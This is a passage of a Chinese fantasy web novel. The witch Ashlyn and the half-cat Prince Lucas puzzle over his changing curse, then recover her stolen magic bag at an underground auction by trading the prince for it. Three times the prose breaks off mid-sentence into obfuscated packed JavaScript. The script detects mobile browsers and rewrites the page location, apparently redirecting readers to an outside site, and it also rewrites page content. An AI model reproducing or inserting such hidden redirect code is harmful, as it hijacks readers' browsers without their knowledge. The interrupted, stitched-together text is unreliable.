卢卡斯的脸更红了:“请你别说了,不然我会怀疑这是你的设计。更重要的是,为什么会这样?” 夜晚,月光明朗,和卢卡斯那天晚上毫无征兆地提前变回猫的时间很像。 就在这时,远处村落的教堂传来钟声。 整整十二下。 “诅咒的时间规律会变化?”卢卡斯沉思,“我从没听说过这种事。昨天,或许因为我睡着了,所以没有意识到自己晚上变了回来……阿什琳,你对诅咒了解多少?” 阿什琳知道他这么问并不是因为他真的想从她这里知道答案,从一开始她就清晰地表明了自己对这种既精妙又神秘的魔法的不擅长。 他只是想整理信息。 “我知道诅咒分有意和无意,有意的诅咒很好理解,激发原理就是人心中的恶意;无意的诅咒更为复杂,比起诅咒更像是魔法失败品。许多诅咒会随着时间增长越来越强,尤其是把人诅咒成动物。”阿什琳说,“你也知道扎克就是这样变成老鼠的。但我不知道人还能……一半一半,像兽人一样,并且改变切换时间。这太奇怪了。” “诅咒和其他魔法一样有规律,我们肯定做了什么事才改变了诅咒。”卢卡斯说道,“我之前怀疑是艾丹将我的速写撕碎导致的,但你已经复原了,再有问题毫无道理。请再复述一遍,你当时是怎么诅咒我的?” “我把‘愿身体被猫之光治愈’念成了‘愿身体将猫治愈于光中’。” 卢卡斯扶住额头。 “我真搞不懂你们巫师,设计咒语为什么非要加猫这个词进去?就没有更酷一点儿的吗,比如独角兽或者龙什么的?” “喂,又不是我设计的。”阿什琳耸耸肩,“猫在巫师中是吉祥的象征,向猫祈求力量是很普遍的事。再说了,独角兽也不酷啊。” “我不许你这么说独角兽。” “我还以为你无权干涉我的权利呢!” 卢卡斯眼睛一转:“你的魔法根本毫无逻辑。” “魔法就是因为没有逻辑,才是魔法。”阿什琳说,“魔法不存在逻辑——魔法只有规律,而最大的规律就是它们都来自心灵。这是萨诺瓦一直强调给我的。” 这句话让卢卡斯眼睑抽搐,可能他并不能接受有什么东西是没有逻辑的。阿什琳心想,倘若他想从自己变成猫这件事儿上找出点逻辑来,那他也不是精神很正常。她自己的魔法就是违背自然逻辑才能发挥的。 “有件事我忘了告诉你。”他从衣服里掏出一封信,递给阿什琳,“这是伊莱恩寄给我的。她说她对诅咒有一些别的见解,让我想想童话故事,不要局限于一条路。” 阿什琳读着信。童话故事?她脑中很快闪过一大堆小时候看过的浪漫故事,基本上逃不出一个框架:王子打败恶龙,用真爱之吻唤醒沉睡的公主,将公主从邪恶的女巫手中救出,从此幸福地生活在一起。 不过现在早已过时了。新时代的女孩们更爱看公主打败王子成为骑士的故事,或者公主骑着恶龙和女巫幸福生活在一起的故事。 “好吧。你谈过恋爱吗?”阿什琳问出来之后才发觉这个问题缺乏上下文连接。 卢卡斯因这突兀的转折而扬起眉:“恋爱?” “是啊。童话故事里,真爱之吻不都可以解除诅咒么?唤醒公主、把青蛙变回王子……也许你应该试试这条路。” “很遗憾,我没有。”卢卡斯轻笑了一下,“你忘了我的父母会控制我的……社交状况么?他们倒是给我介绍过几个领主的女儿,但我们都对对方不感兴趣,现在只是保持友好的贵族而已。” “那么你也从来没有对某个女孩儿心动过?” 卢卡斯垂下头,黑发又开始遮眼睛了,很久没有说话。 阿什琳怀疑地眯起眼:“呃,卢卡斯?别告诉我你睡着了。” “没有。”他换了个姿势,突然对椅子上的斗篷十分感兴趣,“我没有心动过。” “心动”是一个有趣的词汇,也许现在阿什琳也“心动”了:她的心像冰块一样被踹了一脚,一路滑下地狱十八层,动静大得能吵醒三头犬。 “真无聊,”她努力保持八卦的语气,“我以为你这么魅力四射,一定会有点绯闻呢。” 这倒是让卢卡斯抬起头了,抓住错误的重点:“嘿,等等,你觉得我有魅力?” 阿什琳感觉自己脸上发烧,于是赶紧别过头玩儿起毯子上的毛。 “谁说的?” “你说的。” “我没这么说。” “你就是这么说的。需要我原话重复么,女巫小姐?” 阿什琳将包向卢卡斯那张讨厌又好看的脸砸去。好看这个词只是客观加上去的。 “嗷呜!”他的尾巴瞬间变直。 “我只是在讽刺!实际上你还是当猫的时候更可爱,殿下。” “谢谢夸奖,小姐。”卢卡斯将包放下,揉着被砸到的眼睛,“你也万分迷人,尤其是当你——嗯,用包砸我的时候。” 阿什琳哼了一声。“你对那些贵族小姐也是这么说的?” “什么?当然不是。你看见她们砸我了?”卢卡斯的猫耳朵委屈地耷拉着,“这是我们伟大的森林女巫阿什琳·贝利专属称号:万分迷人者! “咳……总之,跑题了。我想这条路走不通,而且我们没有生活在一个童话故事里,如果真爱之吻真的能解除诅咒,为什么诺克斯不去试试亲吻辛西娅?我猜他真的很热爱她。” “很有道理。” “最保险的方法还是接着寻找剩余的物品,因为就算我无法解除诅咒,至少也要阻止黑暗女巫的复活。而且,这件事不能让父王知道,必须由我们自己来做,不然可能会掀起另一场禁魔运动……”卢卡斯用手托着下巴,猫耳朵向后歪了歪,“然而,我想说的不是这个。我想说的是另一个童话故事。” 阿什琳用手圈住耳朵:“洗耳恭听。” 卢卡斯翘起二郎腿,清了清嗓子。昏暗的烛光缓缓摇曳,拉开故事的序幕。 “从前,有一个卡尔的巫师。他魔力高强,但争强好斗。传说他是太阳女神赫利安娜的后代,因此尤其擅长火魔法,常常用火焰法术与他人对决。 “不过,卡尔有个同样强大的死对头叫巴里,他们两个经常因魔法理念不和吵架与决斗,更重要的是他们两个同时爱上了公主。” 阿什琳叹了一口气。“为什么又是这种剧情?让我猜猜,于是他们打了一架,只有获胜的那个才能得到公主。” 卢卡斯瞪她一眼。 “请耐心听我说完。公主说,只有在决斗中胜出的那个才能获得她的芳心。于是卡尔和巴里进行了决斗……” 烛光轻轻晃动,墙上映出他们的影子。影子在卢卡斯的声音下,似乎变成了故事的一部分:她的影子渐渐拉长,成为那位火焰巫师卡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469481|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔;而卢卡斯是他的死对头兼情敌,巴里。 两个漆黑的侧影怒视对方,一个抬起双手,一个举起法杖。 对决很快就分出上下,无需任何赌注。 普通法师怎么可能打得过太阳神裔?卡尔轻轻一挥手,蜡烛上的火苗突然窜高,融进影子,化作他手上如心脏般跳动的火焰球。 巴里绝望地挥舞着法杖,可木质再坚硬、宝石再昂贵的法杖,却也比不上太阳之子的赤手。 火焰吞噬了巴里,他嚎叫着在大火中挣扎,最终化作灰烬。 影子卡尔得意洋洋地来到宫殿,打算去亲吻他的公主。这是他应得的,他太强大了,神血与好胜欲在他体内熊熊燃烧。 然而,宫殿中空无一人。 公主的寝室传来浓浓的黑烟与焦味。当卡尔闯进其中时,一切都晚了—— “——哦,不!” “是的。公主已经死了,死在一场大火中。故事结束。” 阿什琳不敢相信自己的耳朵。“什么?这就结束了?你从哪儿听到的这么差劲的鬼故事,确定不是现编的?” “是我很小的时候看到的,要不是伊莱恩点醒了我,我就忘了。直到现在诅咒发生变化,我才意识到它的意义。”卢卡斯站起来,“你觉得公主为什么会死?” “嗯——卡尔搞错了火焰咒语?” “有可能。” “我不明白,卢卡斯。你想说什么?” “我不知道!”他抱起头,“我就是——突然想到这个故事。你不觉得这个故事跟我们的故事有什么地方很像吗?卡尔是太阳之子,你是森林之子;卡尔想杀死巴里,你想治愈我;卡尔虽然杀死了巴里,却也杀死了公主;你虽然治愈了我,却把我诅咒成了猫!可真正的诅咒不会有这样奇怪的变化。” 他又放下手,眼睛亮晶晶的,就像那次看到月神留下的谜语一样。 “这就是——一个谜语,一道谜题,这才是真正的那个谜团。”他笑了一下,紧接着又收起,“阿什琳,能不能找到剩下两样物品解除黑猫诅咒,一点儿也不重要。因为,最有趣的是你的魔法,不是我的诅咒。” 阿什琳大脑嗡嗡作响。 “我的魔法——这么说你也觉得这一切跟我是‘森林之子’有关了?”她厌倦道,“你知道吗?我从来不信艾丹说的那通鬼话。什么我命中注定犯下这个错误,命中注定来到伊洛文亚,命中注定发挥森林魔法如何如何。错误就这样发生了,我不会推脱给神之血啊什么的。” 出乎她意料的是,卢卡斯点点头。 “是的,阿什琳,我同意你的话——我很确信你念错咒语时真的只是好心帮倒忙。说到这里我想再道个歉——那个雨夜我曾怀疑过你是故意的。” “什么?” “只是一瞬间的念头!就像我说的,我是个白痴。”卢卡斯耐心地说,“但当你念错咒语时,很可能无意中释放了一些更狂野、更纯粹魔法。” “比如?” 卢卡斯摊开手。 “完全不知道。我又不是神裔魔法师。” 更狂野、更纯粹…… 阿什琳屏住呼吸:“那天,在龙晶洞窟,森林女神还告诉我一件事。她说什么……森林最大的本质是纯粹,我的意愿会影响一切。还有,‘故事会在开始时结束’。” 卢卡斯难以置信地看着她:“而你忘了告诉我?!” “后面又是训龙又是被关进精灵地牢,我没找到机会嘛。” 卢卡斯踱起步来:“‘故事会在开始时结束’……有意思!” 然而,恐怕这句话除了有意思以外,没有别的意义。他们完全没明白。 没过多久,他们就又发现了一件事:卢卡斯只会在午夜十二点变成半人半猫一个小时。 凌晨一点后,他又成了一只黑猫。 接下来他不敢在阿什琳枕边睡了,而是蜷缩在阳台上。 第二天早晨,几根胡须扫过她的脸,痒痒的。 阿什琳伸了个懒腰,享受着秋日清晨的阳光。 今天绝对是个好日子,可以给接下来的兽人花环之旅来个好头! 直到,她发现,黑猫正盯着他们搭在椅子上的衣服看。 “怎么了?” “我们的东西被偷了。” 阿什琳猛地从床上跳起来,好像身后有弹簧一般。 她的钱袋不翼而飞,几块用来施展魔法的水晶也不见踪影。 这没什么。 最糟糕的是——她的空间口袋呢? 阿什琳心跳漏了几拍。 魔笛和龙火都还在里面。 41.拍卖大会 “我以为猫的听力和嗅觉都很灵敏。” “我也以为女巫会给装备设魔法。” 阿什琳抓起脸,长叹一声。这可不是她心目中新旅程的开局。 不幸中的万幸是,无论是谁拿走了她的空间背包,都打不开。对盗贼来说这包就是个垃圾,要是他们运气好,还是能找回来的。 “有趣的是,我闻到了一只豹子的味道。”黑猫抽抽鼻子。 阿什琳回忆起来,昨夜的确有个豹子女孩在掰手腕,但她不记得具体长什么样。 他们飞速收拾好其余物品,赶下楼。 现在太早了,楼下空荡荡的,只有矮人老板和一个人类佣人。 “您有没有看见一只豹子?”阿什琳跑得太急,帽子差点飞到矮人脸上,赶紧扶住。 矮人头也不抬。 “这年头人类小姑娘已经忘了‘日安’和‘请’了吗?” “对不起。日安,请问您有没有看见一只豹子?” 矮人懒洋洋地将酒瓶在架子上摆好。 “我为什么要回答你的问题?” 豹子奔跑速度可是出了名的快。时间紧迫,他们可没时间陪矮人兜圈子。 然而,阿什琳也不想每上一家酒馆就用森林魔法威胁别人,不然恐怕她今后就会被所有酒馆列入黑名单。 “显而易见,因为我的东西都被你的客人偷了!”阿什琳大声说,尽力想显得有威慑力,“现在,请告诉我那只豹子去了哪里,不然我就——嗯——” 矮人抬起眉毛:“你就?” 阿什琳快速瞥了一眼卢卡斯。 “——不然我就向狄亚斯的王子投诉这家客栈!” “喵,你知道这儿不属于狄亚斯境内吧。”卢卡斯用猫语提醒。 但是阿什琳没有理他,恶狠狠地瞪着矮人老板。 矮人显然对她的话一个字也不当回事。“你一小女巫又和狄亚斯的王子又是什么关系?” 阿什琳夸张地大笑起来。 “关系?呵,我们可是从小玩儿到大的挚友!亲密无间,无话不谈。想想看人类王国的王子要是知道自己朋友的物品全都被一个矮人客栈里的家伙偷了,那矮人会是什么遭遇吧!” 矮人摸起胡子。 “人类和矮人的规矩不同,我为我的客人保密。无论发生了什么都不归我管。” “非常好,”阿什琳咬牙切齿,“或许看到这个之后,你会改变主意。” 啪!她戏剧性地将一样东西拍在柜台上。 那是来自赫利安王城的信封,上面是王城标志性的金色太阳纹火漆。 “嘿,你怎么没把这个还给我?”卢卡斯抗议道。 “这是王子亲自给我写的信。”阿什琳装模作样地举起信封说,“如果你不告诉我关于那个豹子客人的事,我这就回信给他。” 实际上,那是伊莱恩公主写给卢卡斯的信。不过也大差不差。 “你的演技提升了!”卢卡斯鼓励她。 老板仔细端详着火漆。 矮人们对所有工艺都有种与生俱来的敏感,就像精灵对艺术的感知力一样。认识到这的确是出自正统皇族,他才信服。 “那豹子女孩叫瑞伊。”矮人将信封还给她,“她是寒爪林的通缉犯,很早就被兽人通缉了,现在在这儿附近游荡,四处偷东西。” “你知道她去哪儿了吗?” “完全不知道。” “那么,你或许想知道赫利安城的地牢长什么样。” “阿什琳,我们从不把没抓小偷的客栈老板打入地牢。”卢卡斯澄清。 不过,矮人老板还是犹豫了。 “我昨天听她说要去什么拍卖会,大概在北边,寒爪林的方向。那里兽人挺多,她应该会伪装得很好。” 出于对赫利安城地牢的恐惧,他贴心地为他们画了一条详细的路线。 路上,阿什琳努力告诉自己不要惊慌。这算多大点儿事,她连与黑魔法勾结的精灵都打过了,总不能最后败在一个兽人小偷手里。 不管怎么说,现在她的魔法也不仅仅是让植物乱窜这么简单粗暴了,若有必要,她随时可以吓唬吓唬盗贼与商贩。 卢卡斯并没有她的乐观。 阿什琳猜想,一天只有午夜一小时能变成猫人这件事大大影响了他的心情。 “我们必须在那小偷把东西卖了之前就夺回来。”他说道,“要是你的魔法背包上了拍卖会,咱们可拍不起。” 拍卖会开在一个叫做诺西村的人类小村庄里,位于村长的地下室。他们花了将近一整天的时间才赶到,没有食物也没有金钱,只能靠口袋里剩的几块苹果干充饥。好在诺西村也在寒爪林的路途之中,属于北方边境,至少他们不算绕了弯路。 等来到地下室时已近午夜,但地下室吵闹万分,弥漫着汗味与金属味。一尊石狮子立在台中央,底下标着一个词:验货。墙上的火炬热烈抖动,照亮买家们兴奋的面孔。 说是人类村庄,这儿倒是什么种族都有:人、矮人、兽人,甚至精灵——考虑到伊洛文亚之前的封禁政策,他们要么是被驱逐的,要么就是偷渡出境,或是从更远的精灵王国而来。 卢卡斯钻进阿什琳的女巫帽子里,阿什琳则以玲珑的身躯灵巧地在人群中穿梭。 “太嘈杂了,气味多得我想吐,我完全闻不到那只豹子了。”卢卡斯说,“那个猪人就像带着一间厕所往前走呢。还有那几个半羊人,一直在啃家具,吵得要死。” 阿什琳完全可以理解他。前两天他们还在洁净美丽的伊洛文亚,被优美的建筑和高雅的艺术品环绕着;此时却为了寻回物品而沦落到这样混乱不堪之地。 这时,一个高挑的女孩背着一大包东西蹭过他们。 “让一让,拜托。” 她穿着兔毛制的斗篷与皮革束腰外衣,身材结实又精瘦,一身蜜色的肌肤,留着草坪那样短的寸头。一对猎豹的耳朵立在短发上,上面还打着银耳钉和兽骨耳环。 “是她。”卢卡斯发出低沉的叫声。 然而女孩动作敏捷,阿什琳刚碰到她的尾尖,她就隐匿于人群中了。 阿什琳一时半会儿没想起来任何有关追踪的魔法,唯一会的也是魔法仪式,需要用到代表风元素的羽毛才行,或者诺卡利魔笛——本身就承载了清风的乐器。 可是他们既没有时间摆阵做仪式,也无法在这种混乱的地方演奏,只得随波逐流,在推推搡搡中来到拍卖会大厅,坐在两个满身机械装置的矮人之间。 阿什琳右侧是个戴单边眼镜的女矮人,穿着是她从未见过的灰色连体衣,肚子前的兜里塞着螺丝刀,甚至左手也是机械做的。 此时,她整在捣鼓手中的一块怀表。 “你是为什么而来?”阿什琳好奇地问。 她从没有接触过矮人机械,这完全就是个崭新的世界。在她的生活中,大自然、草药与森林才是真理。 “戒指。”矮人冷淡答道,完全没看阿什琳一眼。 她还没来得问是什么戒指,一个白发苍苍的老人就在台上轻咳几声。 阿什琳无法判断他的种族,作为矮人他太高,可作为人类他实在又太矮了。又或许,他只是老得过分,有点缩水。 她眯起眼睛寻找他们的目标,却没有看到那个豹子女孩。很有可能,她正在幕后准备登台拍卖。 “欢迎来到诺西拍卖会。”老人沙哑地说,“现在开始拍卖第一项商品。” 他的语气就好像这是一场葬礼,完全令人提不起兴致。 两个猪人吭哧吭哧地往台上搬来一面布满灰尘的镜子,足足有两个阿什琳那么高。 “这是恶毒女王的魔镜。”右猪人介绍道,“上面有古老又邪恶的魔法。” 左猪人说:“魔镜魔镜,告诉我,谁是方圆十里最美丽的人?” 魔镜中浮现一张模糊不清的脸。 “是你呀,亲爱的。”它面不改色地对那个猪头人说。 买家们哄堂大笑,这无非是一个二流巫师的玩具,除了捉弄人外毫无价值。 “真是邪恶得我猫毛倒竖。”卢卡斯讽刺。 最终,它以二十塞银的价格被一个人类拍下。 接着,两个游侠装束的精灵端来了第二项商品,是个小橡木盒子。阿什琳余光中,旁边的矮人似乎坐直了。 “注意看,女士们先生们。”精灵庄重地说,“你们接下来要看到的,就是传说中遗失了整整千年的神之戒指。” 他打开木盒,所有观众都身体前倾,迫切地想要看清。 阿什琳看不出为什么它叫“神之戒指”,它朴素到你可以随时在任何一个村民的手指上看见。 唯一能让它有点独特价值的,恐怕就是正面镶嵌的朵绿松石雕出的花。 “我相信,在座的各位都没有听说过这个传说。”精灵说道,“据说,它本是一位神手上的戒指,却因四神之间的恶作剧而沦落人间。” 他将戒指轻轻举起,让大家看得更清晰,绿松石花在火炬光下微微泛光。 “戒指上的石花中,蕴涵着我们所有人都想象不到的力量,就连魔法最为强大的精灵一族也不知如何将其发挥。” 买家中传来几声嗤笑,显然对“魔法最为强大”这一说法怀有异议。阿什琳知道大部分传说里精灵的确是最“有魔法的”,但其他种族中也不乏魔法天赋者。 “任何佩戴此戒者,必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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豹女孩也随他们一起笑了,露出锋利的尖牙。阿什琳还从未见过她这样打扮的女孩,在狄亚斯,女孩们更喜欢长头发与裙子,让自己尽量像童话里的公主。豹女孩这样短的头发与耳朵上那么多骨钉,大概会被他人耻笑。 “这可不是普通的背包。”她拍了拍阿什琳的包,“它的魔法很强大,能够容纳比你想象的要多得多的东西。” 她提起它,灵巧甩了甩,包里立刻传来与其大小并不匹配的巨大滚动声,证明了她刚刚的话并非胡编乱造。阿什琳不禁开始想,自己到底放了多少东西进去? 当然,豹女孩隐瞒了她打不开这个背包的事实。 阿什琳刚要站起来说一些狠话,比如“呵,那可是我的包”或者“你就是个小偷!”,然后冲上前去一把夺走。 但她刚轻轻一动,帽子里的卢卡斯就探出头,鼻子蹭了蹭她的头发。 “别冲动行事,这些人都不是好对付的,不会买你的账。对他们来说拍卖品没有真正的主人,现在你的包在被拍卖,就算你有能力证明它是被偷来的也无济于事。” “但是我们没钱买下来,小天才!钱都被她偷走了!你有什么更好的主意吗?” 卢卡斯没有应答,这时第一个出价声响起了: “五十赫金。” “七十。”他们身后另一个人说。 “一百二。” “一百五。” “二百。” “一分钱也没有?我们真的这么穷?”卢卡斯吃惊道。这对他来说实在是个新鲜事,他从小就睡在金币里。 “除非你把自己也算上,是的。”阿什琳说完这句话,突然灵光一现,“卢卡斯,你还有多久变回人类?” “顶多一分钟。”黑猫说着缩了缩头,“等等喵,你不会又有什么坑我的鬼点子吧?” 阿什琳没有回答。黑猫从帽子里钻出来,跳到地上,来到后排化作人形。 拍卖师开口: “二百赫金,还有吗?二百一次,二百两次——” “还有。”阿什琳连忙站起来。 所有生物都回头看去。她有点不安地扶住帽檐,尽量站稳。 同样是大众目光聚集的场合,这却和星月晚会与假面舞会都不一样。晚会和舞会都是表演性质的,阿什琳可以尽情享受在台上被人欣赏和关注的美妙感受——毕竟,她在河湾时从不会有这样的待遇,人们看她,只会看到一个平平无奇的小女巫,戴着搞笑的大帽子,穿过长的斗篷;而在精灵谷,大家都知道她是森林之子,她会为精灵恢复荣光,因此对她充满期待与敬意。 这回,她倒是感觉回到了狐尾河湾:大家看她,就像是在等着看笑话。 “你又能出多少钱呢,小女孩?”拍卖师问道。 “哦,我不出钱,”阿什琳让开,露出卢卡斯僵硬的身影,“我出赫利安城的王子。” 42.临时猫主 “你疯了吗?”卢卡斯从牙缝里挤出这句话。 “我什么时候正常过?”阿什琳反问。 众人哄堂大笑。 “赫利安城的王子?我没看到。”拍卖师说。 阿什琳推了推卢卡斯。他叹了一口气,无奈地抖了抖黑色的耳朵。 “我就是他。”猫耳男孩坚定地走上前,好让所有人看得更清楚些,“我就是赫利安城的卢卡斯·德维尔王子。” “说他是被驱逐的猫人还更像回事,毕竟他看起来一副弱不禁风的样儿。”买家们中,一个兽人笑道,“谁会信一个人类小女孩儿和一个瘦弱兽人的话?” “我不是普通小女孩。我叫阿什琳,是一名女巫!”阿什琳高声说,希望自己听起来咄咄逼人,“为了束缚王子,我诅咒了他,令他成为我的黑猫宠物,所以他才是这副模样。需要验货吗?” “非常好,王子殿下,请将您的血滴在石狮子口中。”拍卖师将头向那头写了“验货”一词的石狮子歪去。 卢卡斯把手指放在石狮子口中,被石牙刺出一滴血。 石狮子的灰眼睛瞬间变成蓝色。 “通过!”拍卖师宣布,“这是货真价实的卢卡斯·德维尔王子。” 阿什琳摊开手:“看到了吗?真正的王子现在只是我的一只猫罢了,无论我说什么,他都根本不会反抗!对吧,殿下?” 为了让王子配合,她踩了他一脚。 “没错,”卢卡斯龇牙咧嘴地说,“她现在就是我的主人。” 听狄亚斯的王子称自己为主人令阿什琳舒心花怒放,现在她有点不想“卖掉”他了。 “还有什么别的证据能证明他真的不会反抗?”豹女孩问。 “那很简单,”阿什琳爽快地说,“卢卡斯王子,跪下。” 拍卖师眯起眼,豹女孩则饶有兴致地看着他们。从她的眼神可以看出,她已经认出了阿什琳就是背包的主人。 卢卡斯睁大眼睛,眉毛下压,一副被背叛的表情。他猫耳向后贴,尾巴大晃,但还是乖乖单膝跪地。 即便是在这种场合,他也能将跪下的动作做得十分优雅,仿佛接下来他会吻上阿什琳的手背一样。 当然,他不会这么做的;阿什琳的手也有自己的主意。 “怎么样?”她得意地问,连头发带耳朵地揉了揉殿下的脑袋,“一个乖巧的皇家傀儡,还不能换来破烂的魔法背包么?一旦交易成功,魔法就会易主,到时候人类的王子殿下就会对您言听计从。您接受吗,玛拉小姐?” 卢卡斯狠狠将尾巴甩在地上。 这并不是个多有逻辑的谎言,但她决定赌一把——赌作为兽人的瑞伊和年迈无趣的老头拍卖师都没那么了解魔法。傀儡魔法是黑魔法的一种,交易需要复杂的契约流程才能真正易主。 果然,瑞伊微微一笑。“当然,王子可比赫金要值钱多了。” 阿什琳原本只是孤注一掷,令她吃惊的是,这样的交易竟然真的是可行的。看来她还是见识太浅。 “王子一次,王子两次,王子三次……成交!”一锤定音,“小姑娘,现在背包归你了,但是王子也归玛拉小姐。” 阿什琳拿回了背包,紧紧抓着背带。瑞伊看起来非常开心,豹尾巴轻轻晃动,冲身后几个其他兽人点点头。兽人将卢卡斯的手捆起来,领出拍卖会。 “这事儿没完!”从阿什琳身边经过时,卢卡斯小声说。 “接下来的商品,是来自轮心矿城的……” 阿什琳没再听,连忙跟着兽人溜走。不到一个小时卢卡斯就会再次变成猫,逃脱这里倒是轻而易举。但要是他被严实地关起来或者卖给什么地下犯罪分子,那就棘手了。天知道,她又要为自己一时兴起演的这出戏付出什么代价。 希望那只猫不要太生气。 阿什琳给自己念了道静音和减弱气味的咒语,祈祷兽人们不会注意到她的行踪。 兽人们来到地下另一个隐蔽的小房间,四壁皆是石砖,光线昏暗。 她蹑手蹑脚,后背贴着冰凉的墙壁,从门缝中偷看。 这儿似乎曾是谁的工作房,现在已经废弃了。房间的一半都被一张巨大的石桌子塞满,上面散落着齿轮、扳手、废纸和大部头书籍,桌前贴了几张羊皮纸设计图,她看不清具体内容。 天花板上的蜘蛛开心地食用着苍蝇,卢卡斯则抬起头,不安地瞅了几眼蜘蛛。 像之前在酒馆一样,他整个猫人被绑在椅子上,连尾巴都单独绕了好几根粗绳。或许是知道自己不久后就能靠变猫脱身,又或许是确信阿什琳会救自己,他看起来并不真的害怕。 实际上,他好像相当无奈,对这样的场景习以为常。 他四周围绕着三个高大强壮的兽人,最中间是那个高个子、寸头的豹女瑞伊。 “女士和先生们,你们想把我怎么样呢?”卢卡斯用一种无所事事的语气问,仿佛他们只是在开茶话会。 “当然是接着卖钱。皇族能卖出你做梦也想不到的高价,小王子。”瑞伊回答。 “是吗,我到底哪里有价值呢,玛拉小姐?” “你身上的所有事物都价值连城——最有意思的是你眼睛里的东西。” 卢卡斯眨眨眼,好像眼睛被刺痛了。“我眼睛里的东西?” “嗯,我不该告诉你的。作为一个魔法傀儡,你的问题有点儿多。”瑞伊兴致勃勃道,“以及,我更愿意听你喊主人。” 卢卡斯闭上眼,似乎在做某种艰难的准备。 “对不起,玛——主……人。”他说,“我只是略有好奇。” 阿什琳心中有那么点儿奇怪的窃喜——卢卡斯刚才喊她“主人”时可比喊瑞伊要顺畅多了。 不过,她该怎么救他出来呢? “没关系,我正好闲得无聊。”瑞伊呲牙一笑,“你身上什么东西值钱不重要,重要的是能否让我买到我想要的。说到这儿,我想大名鼎鼎的狄亚斯王子,应该也知道点儿别的信息。” 她从腰包中抽出一张羊皮纸,上面画了一株淡青色的植物。 卢卡斯的脸唰地变得煞白,但也只是一秒钟的事。阿什琳再一眨眼,他就又恢复正常。或许她看错了。 “听说过这种草吗,小王子?” “从未听说。” “撒谎。”瑞伊死死瞪着他,“我注意到你的反应了。” 阿什琳眯眼。图画上的植物很优美,叶子呈心形,周围似乎泛着白光。萨诺瓦的笔记里从没出现过。 “我想我真的没听说过,小姐。”卢卡斯平静地说,“为何问我这个?” 瑞伊用眼神示意别的兽人。 “布莱斯,哈里,你们现在就去黑市发布告示,让所有人都知道我抓到了人类的王子。很快,那些巫师和科学怪人就会像蚊子一样扑过来的。” “遵命,小姐!”叫布莱斯的狼人和叫哈里的鹿人立刻说,阿什琳赶紧躲到门后面。 布莱斯和哈里都长着真正的狼头和鹿头,身体却是结结实实的人类壮汉的身体,就和刚刚拍卖魔镜的猪人一样。而瑞伊则不同,她的头除了多出一双豹耳外,与人类别无二致,顶多仔细一看,会发现眼睛是金色的针瞳。 她当然不能让什么兽人黑市知道卢卡斯的状况。于是在思考之前,她的身体先行动了,一个大跨步挡住了两个兽人彪汉。 这回她忘了扶帽子。帽子掉下来,遮住她的眼睛。 可能因为看不见她的脸,两个面目可憎的兽人竟同时惊恐地后退三步。 “嗷呜呜呜呜!”狼人尖叫着躲到鹿人身后,可惜意义不大。他比鹿人还要强壮几倍,根本遮挡不了什么。 “你是什么人!”鹿人鼓起勇气,挺起胸肌,“露出你的真面目,矮人黑法师!” “呃——嗨。”阿什琳本来想把帽子扶正,但现在看来帽子挡脸后的效果非常好,于是她只是清了清嗓子,“我是——嗯——” 她发现她并没有来得及编造一个炫酷的假身份。 “白痴,你们在干什么?”瑞伊一把推开一狼一鹿,“说明你的来意,矮人!” 她有那么矮吗??为什么他们都觉得她是矮人?阿什琳明明比矮人的平均身高还要高十五厘米。 “我是矮人黑法师!我是来——抢劫王子的,对!”她硬着头皮说,“感受来自矿城的黑暗力量吧,小豹子!” 她威严地举起法杖,一时间,绿光充斥着整个房间,兽人们踉跄着后退。 其实,她并没有想好用什么咒语,周围也没有任何植物,她的魔法在这样封闭的地下室毫无力量。 因此,强光之后什么也没发生;兽人们接下来只看到一个手忙脚乱冲去给王子解绑的女巫。 “你解反了,阿什琳!”卢卡斯崩溃地说。 “对不起!”她彻底被那些绳子绕糊涂了。 卢卡斯叹了口气。“如果你是在练习系蝴蝶结,很遗憾告诉你我的手腕不是礼物包装。” “抓住她!”瑞伊大吼。 狼与鹿同时扑来,阿什琳只好紧急调整策略,从腰间抽出一把匕首——精灵的礼物。 她希望她知道自己在做什么。 “谁也不许动!”她警告着,匕首抵在卢卡斯的脖子上,“否则我就杀了你们的宝贝!这可是你们用一个魔法背包换来的被诅咒的王子,不想失去一笔新的钱,就放下武器!” 这动作真是诡异:她,阿什琳,胳膊环在卢卡斯身前,匕首随时可能割破王子的喉咙;卢卡斯的猫耳朵蹭着她的下巴,痒得不行。 “棒极了,希望你的刀法比解绳技巧好点。”卢卡斯说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497271|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “很好,”瑞伊抬起手,“那么你就是他的卖家。叫阿什琳,对吧?现在你要背信弃义把他再偷回去?” 阿什琳紧张地望着他们三个。兽人都很强壮,而这三个简直是强中之强,肌肉都要挤破地下室了,就算放下武器也不会让她占上风。 至于卢卡斯,现在他和这三个兽人比起来,的确看上去有点儿弱不禁风,显得消瘦又憔悴,完全无法拼武力;等他变成猫后虽然可以逃脱绳子,但也难逃于兽人。 更糟糕的是,这里是地下,四壁皆是石砖,石砖之外也是泥土,她的森林魔法难以施展。 用卢卡斯威胁瑞伊给阿什琳暂时赢得了一点思考的时间。 